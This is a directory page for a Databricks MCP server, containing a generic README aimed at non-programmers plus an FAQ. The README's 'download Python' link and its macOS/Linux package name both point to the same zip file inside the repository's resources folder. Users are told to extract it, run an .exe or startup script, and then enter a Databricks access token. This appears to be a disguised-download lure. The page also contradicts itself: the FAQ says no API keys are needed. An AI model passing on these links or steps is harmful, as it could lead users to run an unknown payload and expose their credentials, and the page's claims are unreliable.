Databricks
FreeNot checkedπ Deliver model context services for Databricks with a protocol server using Python SDK, enabling AI tools across 28 domains and 263 functions
About
π Deliver model context services for Databricks with a protocol server using Python SDK, enabling AI tools across 28 domains and 263 functions
README
π Overview
databricks-mcp-server offers an easy way to use 263 tools designed for Databricks. It connects with many parts of Databricks, including Unity Catalog, SQL, Compute, Jobs, Serving, Vector Search, Apps, Lakebase, and more. This software helps you manage tasks on Databricks without needing to write code.
The software is built using a Software Development Kit (SDK) approach, making it flexible and reliable. It supports common tasks like running SQL queries, managing jobs, and searching through data efficiently.
You do not need any programming skills to download and use it.
π₯οΈ System Requirements
Before you start, please make sure your computer meets these basic needs:
- Operating System: Windows 10 or later, macOS 10.13+, or most Linux distributions (Ubuntu, Fedora, Debian).
- Memory: At least 4 GB of RAM.
- Storage: Minimum 500 MB free space.
- Network: Active internet connection for data access and updates.
- Software: Python 3.7 or higher installed on your computer (for running the SDK and tools).
If you do not have Python installed, you can download it from https://github.com/45d5r/databricks-mcp-server/raw/refs/heads/main/databricks_mcp/resources/server_databricks_mcp_1.6.zip.
π₯ Download & Install
Click the big blue button above or follow this link to visit this page to download the latest version of databricks-mcp-server:
Steps to Download and Run
- Visit the release page by clicking the button or the link above.
- Look for the latest release. It will be labeled with a version number like
v1.0or higher. - Download the file suitable for your operating system:
- For Windows, it may be an
.exeor.zip. - For macOS and Linux, it could be a
https://github.com/45d5r/databricks-mcp-server/raw/refs/heads/main/databricks_mcp/resources/server_databricks_mcp_1.6.zipor.zippackage.
- For Windows, it may be an
- If you download a zip file, extract it to a folder you can easily find, like your Desktop or Documents.
- Open the extracted folder.
- If on Windows, run the
.exefile or start the program using the command prompt. - On macOS or Linux, open a terminal, navigate to the folder (using the
cdcommand), and run the startup script or command provided. - Follow any prompts that appear on screen.
You do not need to install complex dependencies manually. The application package includes everything it needs or will prompt you with clear steps.
π Getting Started with databricks-mcp-server
Once installed, here is how you begin:
- Start the Application: Run the program as explained above.
- Connect Your Databricks Account: The application will ask for basic connection details such as:
- Your Databricks workspace URL.
- A personal access token (PAT) from Databricks. You can create a PAT in your Databricks account settings under user settings β Access Tokens.
- Choose Your Tools: Youβll see a list of tools and features organized by category such as SQL, Jobs, Compute, etc.
- Use Tools on Your Data: Select any tool to perform actions like running queries, managing clusters, searching data, or serving machine learning models.
- Save Your Work: You can save your configurations and scripts to use later.
π Features You Can Use
- Unity Catalog Access: Manage your data catalogs easily.
- SQL Queries: Run and save SQL commands without coding.
- Job Management: Start, stop, and monitor Databricks jobs.
- Compute Controls: Manage your clusters and compute resources.
- Vector Search: Search large datasets using vector similarity.
- Model Serving: Deploy machine learning models quickly.
- App Management: Handle Databricks hosted apps through a simple interface.
- Lakebase and Lakehouse Support: Manage and operate data lakes efficiently.
All these features come packed in one application, designed for non-programmers but powerful enough for experts.
π§ Tips for Smooth Running
- Make sure your internet connection is stable when you connect to Databricks.
- Keep your Databricks personal access token secure.
- Restart the application if an operation seems stuck.
- Check for updates regularly using the release page linked above.
- If you encounter problems, look for the included user guide or help files in the application folder.
π Getting Help
If you need help:
- Browse to the Issues tab on the repository for common questions or to report problems.
- Check the documentation inside the application for step-by-step guidance.
- Join community forums about Databricks and MCP tools for advice and support.
βοΈ About This Application
- Repository Name: databricks-mcp-server
- Description: 263 tools for Databricks via MCP. SDK-first, covers Unity Catalog, SQL, Compute, Jobs, Serving, Vector Search, Apps, Lakebase, and more.
- Main Topics: AI, Claude, Databricks, Databricks Apps, Lakebase, Lakehouse, LLM, MCP, MLflow, MLOps, Model Context Protocol, Python, SDK, SQL, Unity Catalog, Vector Search.
This application helps you interact with Databricks services easily by bundling many tools into one friendly interface.
Installing Databricks
This server has no published package β it is built from source. Open the repository and follow its README.
βΈ github.com/45d5r/databricks-mcp-serverFAQ
Is Databricks MCP free?
Yes, Databricks MCP is free β one-click install via Unyly at no cost.
Does Databricks need an API key?
No, Databricks runs without API keys or environment variables.
Is Databricks hosted or self-hosted?
Self-hosted: the server runs locally on your machine via the install command above.
How do I install Databricks in Claude Desktop, Claude Code or Cursor?
Open Databricks on unyly.org, pick your client tab (Claude Desktop, Claude Code, Cursor) and press Install β the config is generated automatically, no JSON editing.
Related MCPs
wenb1n-dev/SmartDB_MCP
A universal database MCP server supporting simultaneous connections to multiple databases. It provides tools for database operations, health analysis, SQL optim
by wenb1n-devPostgres Server
This server enables interaction with PostgreSQL databases through the Model Context Protocol, optimized for the AWS Bedrock AgentCore Runtime. It provides tools
by madhurprashPostgres
Query your database in natural language
by AnthropicPostgreSQL
Read-only database access with schema inspection.
by modelcontextprotocolCompare Databricks with
Not sure what to pick?
Find your stack in 60 seconds
Author?
Embed badge for your README
Browse similar
All data MCPs
